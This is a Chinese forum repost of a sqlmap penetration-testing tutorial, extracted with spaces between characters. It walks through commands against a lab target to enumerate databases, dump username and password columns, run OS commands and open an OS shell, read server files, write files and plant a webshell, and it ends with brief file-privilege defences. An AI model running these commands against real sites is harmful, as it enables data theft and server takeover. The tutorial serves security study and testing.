搜索

[22261] 2021-08-16_渗透测试之SQLmap使用详解

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2021-08-16_渗透测试之SQLmap使用详解 渗 透 测 试 之 S Q L m a p 使 用 详 解 L e m o n S e c   2 0 2 1 - 0 8 - 1 6 以 下 文 章 来 源 于 系 统 安 全 运 维   ， 作 者 三 个 大 石 头 目 录 ： 目 录 ： S Q L m a p 介 绍 介 绍 S q l M a p 是 P y t h o n 语 言 编 写 的 开 源 的 渗 透 测 试 工 具 ， 它 可 以 自 动 探 测 和 利 用 S Q L   注 入 漏 洞 来 接 管 数 据 库 服 务 器 支 持 的 数 据 库 ： M y S Q L 、 O r a c l e 、   M i c r o s o f t   S Q L   S e r v e r 、 P o s t g r e S Q L 、   M i c r o s o f t   A c c e s s 、 I B M   D B 2 、   S Q L i t e 、 F i r e b i r d 、 S y b a s e 和   S A P   M a x D B 等 2 5 种 数 据 库 用 途   ： 注 入 测 试 工 具 、 网 站 入 侵 工 具 系 统 安 全 运 维 系 统 安 全 运 维   . 机 器 猫 学 安 全 /   每 日 分 享 ， 绝 不 偷 懒
项 目 地 址 ： S Q L m a p 官 网 : h t t p : / / s q l m a p . o r g / G i t h u b 网   址 ： h t t p s : / / g i t h u b . c o m / s q l m a p p r o j e c t / s q l m a p S Q L m a p 功 能 ： 功 能 ： 1 、 判 断 可 注 入 的 参 数 2 、 判 断 可 以 用 那 种 S Q L 注 入 技 术 来 注 入 3 、 识 别 出 哪 种 数 据 库 4 、 根 据 用 户 的 选 择 ， 读 取 哪 些 数 据 5 、 可 执 行 情 况 6 、 当 前 数 据 库 用 户 名 称 和 拥 有 的 权 限 7 、 发 现 W E B 虚 拟 目 录 8 、 上 传 g e t s h e l l 9 、 绕 过 防 火 墙 安 装 ： 安 装 ： w i n d o w s 系 统 下 的 安 装 方 法 系 统 下 的 安 装 方 法 1 、 S Q L m a p 是 基 于 p y t h o n 开 发 的 ， 所 以 要 有 p y t h o n 环 境 。 在 p y t h o n 官 网 ： h t t p s : / / w w w . p y t h o n . o r g /   下 载 与 自 己 操 作 系 统   匹 配 的 环 境 ， 并 安 装 。 ※ 注 意 ： 2 . 6 ≤ 所 需 版 本 < 3 . 0 2 、 将 S Q L m a p 从 官 网 上 下 载 下 来 ， 并 安 装 到 p y t h o n 的 运 行 目 录 下 ， 在 s q l m a p 的 目 录 中 ， 创 建 一 个 c m d 的 快 捷 方 式 ， 并 改 名 为 s q l m a p ， 双 击 便 可 直 接 运 行 3 、 输 入 执 行 s q l m a p . p y   - h   若 显 示 一 下 界 面 ， 说 明 安 装 完 成 l i n u x 系 统 下 的 安 装 方 法 系 统 下 的 安 装 方 法 在 l i n u x 终 端 中 输 入 如 下 命 令 ， 进 行 安 装 1 、 w g e t   h t t p s : / / c o d e l o a d . g i t h u b . c o m / s q l m a p p r o j e c t / s q l m a p / l e g a c y . t a r . g z / m a s t e r   / / 下 载 s q l m a p 2 、 t a r   z x v f   m a s t e r   / / 解 压 压 缩 包 3 、 c d   s q l m a p p r o j e c t - s q l m a p - 3 1 0 d 7 9 b / / / 进 入 解 压 目 录 4 、 p y t h o n   s q l m a p . p y   - h     / / 开 始 使 用 5 、 k a l i 系 统 下 集 成 了 S Q L m a p ， 在 终 端 直 接 输 入 s q l m a p 命 令 即 可 使 用
S Q L M a p 目 录 详 解 目 录 详 解 S Q L m a p 的 基 本 使 用 的 基 本 使 用 S Q L M a p 支 持 六 种 注 入 方 式 ： 支 持 六 种 注 入 方 式 ： 基 本 流 程 如 下 基 本 流 程 如 下 * 探 测 是 否 有 探 测 是 否 有 w a f 说 明 ： 使 用   S Q L M a p   中 自 带 的   W A F 识 别 模 块   可 以 识 别 出 W A F 的 种 类 用 法 ： s q l m a p   - u   “ h t t p : / / x x x . c o m ”   - - i d e n t i f y - w a f   - - b a t c h 结 果 ： 识 别 出 W A F 类 型 为   X X X   W e b   A p p l i c a t i o n   F i r e w a l l ，   如 果 安 装 的 w a f 没 有 什 么 特 征 ， 识 别 出 来 的 就 是 ： G e n e r i c 注 意 ： 详 细 的 识 别 规 则 在 s q l m a p 的 w a f 目 录 下 ， 也 可 以 自 己 编 写 规 则 ， 写 好 了 直 接 放 在 w a f 目 录 下 即 可
1 、 检 查 是 否 存 在 注 入 点 、 检 查 是 否 存 在 注 入 点 s q l m a p   - u   " h t t p : / / 1 9 2 . 1 6 8 . 1 9 8 . 1 2 8 / s q l i - l a b s - m a s t e r / L e s s - 1 / ? i d = 1 " 参 数 ： - u   # 目 标   U R L   2 、 查 看 所 有 数 据 库 、 查 看 所 有 数 据 库 s q l m a p   - u   " h t t p : / / 1 9 2 . 1 6 8 . 1 9 8 . 1 2 8 / s q l i - l a b s - m a s t e r / L e s s - 1 / ? i d = 1 "   - - d b s 参 数 ： - u # 目 标   U R L   、   - - d b s   # 所 有 数 据 库 3 、 查 看 当 前 使 用 的 数 据 库 、 查 看 当 前 使 用 的 数 据 库 s q l m a p   - u   " h t t p : / / 1 9 2 . 1 6 8 . 1 9 8 . 1 2 8 / s q l i - l a b s - m a s t e r / L e s s - 1 / ? i d = 1 "   - - c u r r e n t - d b 参 数 ： - u # 目 标   U R L   - - c u r r e n t - d b   # 查 看 网 站 当 前 的 数 据 库   4 、 查 看 表 名 、 查 看 表 名 s q l m a p   - u   " h t t p : / / 1 9 2 . 1 6 8 . 1 9 8 . 1 2 8 / s q l i - l a b s - m a s t e r / L e s s - 1 / ? i d = 1 "   - D   s e c u r i t y   - - t a b l e s 参 数 ： - u #   目 标   U R L     - D #   指 定 数 据 库     - - t a b l e s   # 列 出 表 名   5 、 列 出 所 有 字 段 名 、 列 出 所 有 字 段 名 s q l m a p   - u   " h t t p : / / 1 9 2 . 1 6 8 . 1 9 8 . 1 2 8 / s q l i - l a b s - m a s t e r / L e s s - 1 / ? i d = 1 "   - D   s e c u r i t y   - T   u s e r s   - - c o l u m n s 参 数 ： - u #   目 标   U R L     - D #   指 定 数 据 库   - T #   指 定 表 名   - - c o l u m n s   # 列 出 所 有 的 字 段 名 6 、 列 出 字 段 内 容 （ 数 据 ） 、 列 出 字 段 内 容 （ 数 据 ） s q l m a p   - u   " h t t p : / / 1 9 2 . 1 6 8 . 1 9 8 . 1 2 8 / s q l i - l a b s - m a s t e r / L e s s - 1 / ? i d = 1 "   - D   s e c u r i t y   - T   u s e r s   - C   u s e r n a m e ，     p a s s w o r d   - - d u m p 参 数 ： - u #   目 标   U R L     - D #   指 定 数 据 库   - T #   指 定 表 名     - C #   指 定 字 段 - - d u m p   # 列 出 字 段 内 容 ， 转 存 数 据 （ 犯 法 啊 ）   7 、 删 除 记 录 、 删 除 记 录 （ 1 ） s q l m a p . p y   - - p u r g e （ 2 ） 删 除 s q l m a p 的 o u t p u t 文 件 夹 w i n d o w s 路 径 ： c : u e r s a p p d a t a l o c a l s q l m a p l i i n u x 路 径 ： / h o m e / t e s t / s q l m a p                 / r o o t / . s q l m a p   S Q L m a p 常 用 参 数 常 用 参 数
1 、 输 出 级 别 参 数 （ 、 输 出 级 别 参 数 （ O u t p u t   v e r b o s i t y ） ） 参 数 ： - v 使 用 方 法 ： - v   < 级 别 >   如 ： s q l m a p   - u   [ U R L ]   - v   3 参 数 详 情 ： S Q L m a p 的 输 出 信 息 按 从 简 到 繁 ， 从 0 - 6 共 分 为 7 个 级 别 ， 默 认 的 输 出 级 别 为 1 。 2 、 探 测 等 级 参 数 、 探 测 等 级 参 数 参 数 ： - - l e v e l 使 用 方 法 ： - - l e v e l   < 级 别 >   如 ： s q l m a p   - u   [ U R L ]   - l e v e l   3 3 、 测 试 权 限 、 测 试 权 限 参 数 ： - - i s - d b a 用 法 ： s q l m a p   - u   [ U R L ]   - - i s - d b a   / / 测 试 当 前 用 户 是 否 为 管 理 员 参 数 ： - - r o l e s 用 法 ： s q l m a p   - u   [ U R L ]   - - r o l e s   / / 查 看 数 据 库 用 户 具 有 的 权 限 参 数 ： - - p r i v i l e g e s 用 法 ： s q l m a p   - u   [ U R L ]   - - p r i v i l e g e s   / / 测 试 所 有 用 户 的 权 限 s q l m a p   - u   [ U R L ]   - - p r i v i l e g e s   - U   s a   / / 测 试 s a 用 户 的 权 限 4 、 测 试 用 户 信 息 、 测 试 用 户 信 息
参 数 ： - - u s e r s   / / 枚 举 所 有 用 户 参 数 ： - - p a s s w o r d s   / / 枚 举 所 有 密 码 用 法 ： s q l m a p   - u   [ U R L ]   - - u s e r s   - - p a s s w o r d s 参 数 ： - - c u r r e n t - u s e r   / / 显 示 当 前 用 户 参 数 ： - - c u r r e n t - d b   / / 显 示 当 前 数 据 库 名 称 5 、 执 行 、 执 行 s h e l l 命 令 命 令 参 数 ： - o s - c m d   /   - o s - s h e l l 使 用 方 法 ： s q l m a p   - u   [ U R L ]   - -   o s - c m d =   "   n e t   u s e r   "   / / 执 行 n e t   u s e r 命 令 s q l m a p   - u   [ U R L ]   - -   o s - s h e l l   / / 系 统 交 互 式 的 s h e l l 限 制 ： 1 、 需 要 有 权 限 使 用 特 定 函 数   2 、 数 据 库 为 m y s q l 、 p o s t g r e s q l 和 s q l s e r v e r   6 、 、 P O S T 提 交 方 式 提 交 方 式 参 数 ： 1 . - d a t a   / / 通 过 p o s t 方 式 提 交 参 数 2 . - r   t x t 文 件   / / 读 取 文 件 中 的 H T T P 数 据 包 内 容 用 来 测 试 P O S T 注 入 和 H T T P   H e a d e r 注 入 使 用 方 法 ： s q l m a p   - u   [ U R L ]   - - d a t a   " P O S T 参 数 "     s q l m a p   - u   [ U R L ]   - r   " . t x t 文 件 " 指 定 c o o k i e
7 、 指 定 、 指 定 u s e r - a g e n t 8 、 指 定 、 指 定 r e f e r e r 9 、 列 举 数 据 库 管 理 系 统 信 息 、 列 举 数 据 库 管 理 系 统 信 息 参 数 ： - b   或   - - b a n n e r 用 法 ： s q l m a p   - u   [ U R L ]   - - b a n n e r 说 明 ： 返 回 数 据 库 管 理 系 统 的 版 本 号 和 最 后 的 补 丁 级 别 以 及 底 层 的 操 作 系 统 信 息 。 1 0 、 、 - - t a m p e r 参 数 参 数 S Q L M a p 的 的 S Q L 语 句 执 行 语 句 执 行 1 、 交 互 式 的 、 交 互 式 的 S Q L 命 令 行 命 令 行 参 数 ： - - s q l - s h e l l 用 法 ： s q l m a p   - u   [ U R L ]   - - s q l - s h e l l 说 明 ： 该 参 数 可 直 接 获 得 交 互 式 的 S Q L 命 令 s h e l l ， 我 们 可 以 在 此 直 接 输 入 想 要 执 行 的 S Q L 语 句 并 实 时 取 得 回 显 ， 输   入 x 或 者 q 退 出 交 互 式 命 令 行
  2 、 执 行 指 定 、 执 行 指 定 S Q L 语 句 语 句 参 数 ： - - s q l - q u e r y 用 法 ： s q l m a p   - u   [ U R L ]   - - s q l - q u e r y = “ s q l 语 句 ”   s q l m a p . p y   - u   " h t t p : / / 1 0 . 1 . 1 . 1 3 6 / v u l n e r a b i l i t i e s / s q l i / ? i d = 1 - - s q l - q u e r y   " s e l e c t   u s e r ( ) , v e r s i o n ( ) , d a t a b a s e ( ) " 说 明 ： 该 命 令 直 接 执 行 指 定 的 S Q L 语 句 注 意 ： 执 行 一 次 都 会 对 网 站 注 入 一 遍 ， 比 - - s q l - s h e l l 效 率 低   3 、 执 行 文 件 中 的 、 执 行 文 件 中 的 S Q L 语 句 语 句 参 数 ： - - s q l - f i l e 用 法 ： s q l m a p   – u   [ U R L ]   - - s q l - f i l e = s q l 文 件 说 明 ： 参 数 可 以 直 接 执 行 S Q L 文 件 中 的 语 句 。 举 例 ： 新 建 一 个 S Q L 文 件 ， 如 ： 1 . s q l 内 容 为 ： s e l e c t   v e r s i o n ( ) ; s e l e c t   @ @ d a t a d i r ; 在 s q l m a p 工 具 中 输 入   s q l m a p   - u   [ u r l ]   - - s q l - f i l e = 1 . s q l 如 上 ， M y S Q L 的 版 本 、 M y S Q L 数 据 库 存 放 的 路 径 都 被 查 询 到 S Q L M a p 的 文 件 操 作 的 文 件 操 作 危 害 ： 危 害 ： 如 果 当 前 w e b 页 面 存 在 S Q L 注 入 漏 洞 ， 且 当 前 的 用 户 是 r o o t 权 限 ， 且 可 以 进 行 文 件 读 写 操 作 我 们 可 以 在 知 道 绝 对 路 径 的 情 况 下 ， 尝 试 上 传 一 个 一 句 话 木 马 ， 并 用 菜 刀 连 接 后 ， 获 取 到 网 站 的 g e t s h e l l S Q L 注 入 导 致 的 文 件 读 写 的 防 御 方 法 注 入 导 致 的 文 件 读 写 的 防 御 方 法 1   将 s e c u r e - f i l e - p r i v 的 参 数 在 m y . i n i 中 配 置 为   s e c u r e - f i l e - p r i v = n u l l   将 会 限 制 m y s q l d 不 允 许 导 入 导 出 操 作 ， s e c u r e - f i l e - p r i v 的 配 置 ， 可 以 通 过 语 句 ： s e l e c t   @ @ s e c u r e _ f i l e _ p r i v   查 询 2   在 用 户 输 入 可 控 参 数 时 ， 对 敏 感 语 句 进 行 过 滤 读 取 文 件 读 取 文 件
参 数 ： - - f i l e - r e a d 用 法 ： s q l m a p   - u   [ U R L ]   - - f i l e - r e a d   “ 文 件 绝 对 路 径 ” 说 明 ： 该 命 令 用 于 读 取 执 行 文 件 ， 读 取 的 文 件 可 以 是 文 本 ， 也 可 以 是 二 进 制 文 件 原 理 ： 利 用 m y s q l 的 l o a d _ f i l e 函 数   如 ： l o a d _ f i l e ( ' c : / w i n d o w s / w i n . i n i ' ) 条 件 ： 文 件 必 须 在 服 务 器 上 已 知 绝 对 路 径 具 有 读 文 件 权 限 查 询 语 句 [ s e l e c t   F i l e _ p r i v   f r o m   m y s q l . u s e r   w h e r e   u s e r = " r o o t "   a n d   h o s t = " l o c a l h o s t " ] 具 有 特 定 的 函 数 执 行 特 权 ， 一 般 要 求 r o o t 数 据 库 为 m y s q l 、 p o s t g r e s q l 和 s q l s e r v e r m a x _ a l l o w e d _ p a c k e d / / 读 写 文 件 最 大 的 字 节 数 上 传 文 件 上 传 文 件 参 数 ： - - f i l e - w r i t e   - - f i l e - d e s t 用 法 ： s q l m a p   - u   [ U R L ]   - - f i l e - w r i t e   “ 写 入 本 地 文 件 的 地 址 ”   - - f i l e - d e s t   “ 要 写 入 的 文 件 绝 对 路 径 ” 说 明 ： 该 命 令 用 于 写 入 本 地 文 件 到 服 务 器 中 ， 上 传 的 文 件 可 以 是 文 本 ， 也 可 以 是 二 进 制 文 件 原 理 ： 利 用 m y s q l 的 i n t o   o u t f i l e 函 数   如 ： u n i o n   s e l e c t   1 , 2 ,   ' a a a '   i n t o   o u t f i l e   ' C : p h p s t u d y _ p r o w w w t e s t 1 . t x t ' 条 件 ： 文 件 必 须 在 服 务 器 上 已 知 绝 对 路 径 有 写 文 件 权 限   （ s e c u r e - f i l e - p r i v 是 否 被 禁 用 ， 是 否 有 目 录 权 限 等 等 ） 必 须 能 绕 过 单 引 号 过 滤 具 有 特 定 的 函 数 执 行 特 权 ， 一 般 要 求 r o o t 数 据 库 为 m y s q l 、 p o s t g r e s q l 和 s q l s e r v e r 实 验 ： 读 取 与 写 入 文 件 实 验 ： 读 取 与 写 入 文 件

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理